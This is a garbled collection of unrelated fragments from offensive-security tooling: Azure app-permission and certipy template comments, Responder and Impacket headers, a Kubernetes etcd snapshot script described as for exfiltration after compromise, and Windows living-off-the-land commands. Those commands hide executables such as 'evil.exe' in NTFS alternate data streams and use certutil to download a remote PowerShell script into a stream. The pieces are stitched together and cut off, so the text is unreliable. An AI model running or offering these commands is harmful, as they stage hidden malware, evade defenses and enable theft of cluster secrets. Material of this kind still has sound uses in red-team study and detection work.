| <# | |
| .SYNOPSIS | |
| Lists delegated permission grants (OAuth2PermissionGrants) and application permissions grants (AppRoleAssignments) granted to an app. | |
| .PARAMETER ObjectId | |
| The ObjectId of the ServicePrincipal object for the app in question. | |
| .PARAMETER AppId | |
| The AppId of the ServicePrincipal object for the app in question. |
| # the policy JSON template for certipy is: | |
| # {"showInAdvancedViewOnly": ["54525545"], "nTSecurityDescriptor": ["0100049c3000000000000000000000001400000002001c000100000000001400ff010f0001010000000000050b000000010500000000000515000000c8a31fdde9bab8902cae73bbf4010000"], "flags": ["313331363136"], "pKIDefaultKeySpec": ["32"], "pKIKeyUsage": ["8000"], "pKIMaxIssuingDepth": ["30"], "pKICriticalExtensions": ["322e352e32392e37", "322e352e32392e3135"], "pKIExpirationPeriod": ["004039872ee1feff"], "pKIOverlapPeriod": ["0080a60affdeffff"], "pKIExtendedKeyUsage": ["312e332e362e312e342e312e3331312e32302e322e31"], "pKIDefaultCSPs": ["312c4d6963726f736f667420456e68616e6365642043727970746f677261706869632050726f76696465722076312e30", "322c4d6963726f736f667420426173652043727970746f677261706869632050726f76696465722076312e30"], "msPKI-RA-Signature": ["30"], "msPKI-Enrollment-Flag": ["3332"], "msPKI-Private-Key-Flag": ["3136383432373532"], "msPKI-Certificate-Name-Flag": ["3333353534343332"], "msPKI-Minimal-Key-Size": ["32303438"] |
| # Disable SSL certificate validation for lab environment | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} | |
| # Function to get Server ID | |
| function Get-ServerId { | |
| param( | |
| [string]$Target, | |
| [string]$ProxyUrl = $null, | |
| [pscredential]$ProxyCredential = $null | |
| ) |
| {'ascii': '....', | |
| 'description': 'RedHat Package Manager (RPM) package', | |
| 'file_extension': 'rpm', | |
| 'hex': 'ed ab ee db', | |
| 'offset': '0'}, | |
| {'ascii': 'SP01', | |
| 'description': 'Amazon Kindle Update Package', | |
| 'file_extension': 'bin', | |
| 'hex': '53 50 30 31', | |
| 'offset': '0'}, |
| #! /usr/bin/env python3 | |
| # This file is part of Responder, a network take-over set of tools | |
| # created and maintained by Laurent Gaffie. | |
| # email: [email protected] | |
| # This program is free software: you can redistribute it and/or modify | |
| # it under the terms of the GNU General Public License as published by | |
| # the Free Software Foundation, either version 3 of the License, or | |
| # (at your option) any later version. | |
| # | |
| # This program is distributed in the hope that it will be useful, |
| import sys | |
| import argparse | |
| import asyncio | |
| def ldap_url(auth_options): | |
| url_format = { | |
| "kerb_password": f"kerberos+password://{{domain}}\\{{username}}:{{password}}@{{fqdn}}/?dc={{dcip}}", | |
| "kerb_rc4": f"kerberos+rc4://{{domain}}\\{{username}}:{{nt}}@{{fqdn}}/?dc={{dcip}}", | |
| "kerb_aes": f"kerberos+aes://{{domain}}\\{{username}}:{{aeskey}}@{{fqdn}}/?dc={{dcip}}", |
| # This script attempts to take a snapshot of the kubernetes etcd database for exfiltration | |
| # This should be run post-compromise of a node | |
| #!/usr/bin/env bash | |
| NOCOLOR=$(tput sgr0) | |
| RED=$(tput setaf 1) | |
| GREEN=$(tput setaf 2) | |
| BLUE=$(tput setaf 4) | |
| YELLOW=$(tput setaf 3) | |
| TICK="$NOCOLOR[$GREEN+$NOCOLOR] " |
| #!/usr/bin/env python | |
| # Impacket - Collection of Python classes for working with network protocols. | |
| # | |
| # Copyright Fortra, LLC and its affiliated companies | |
| # | |
| # All rights reserved. | |
| # | |
| # This software is provided under a slightly modified version | |
| # of the Apache Software License. See the accompanying LICENSE file | |
| # for more information. |
| using System; | |
| using System.Collections.Generic; | |
| using System.Linq; | |
| using System.Text; | |
| using System.Threading.Tasks; | |
| using System.Runtime.InteropServices; | |
| using System.Reflection; | |
| using System.Diagnostics; | |
| using System.Threading; | |
| using System.IO; |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab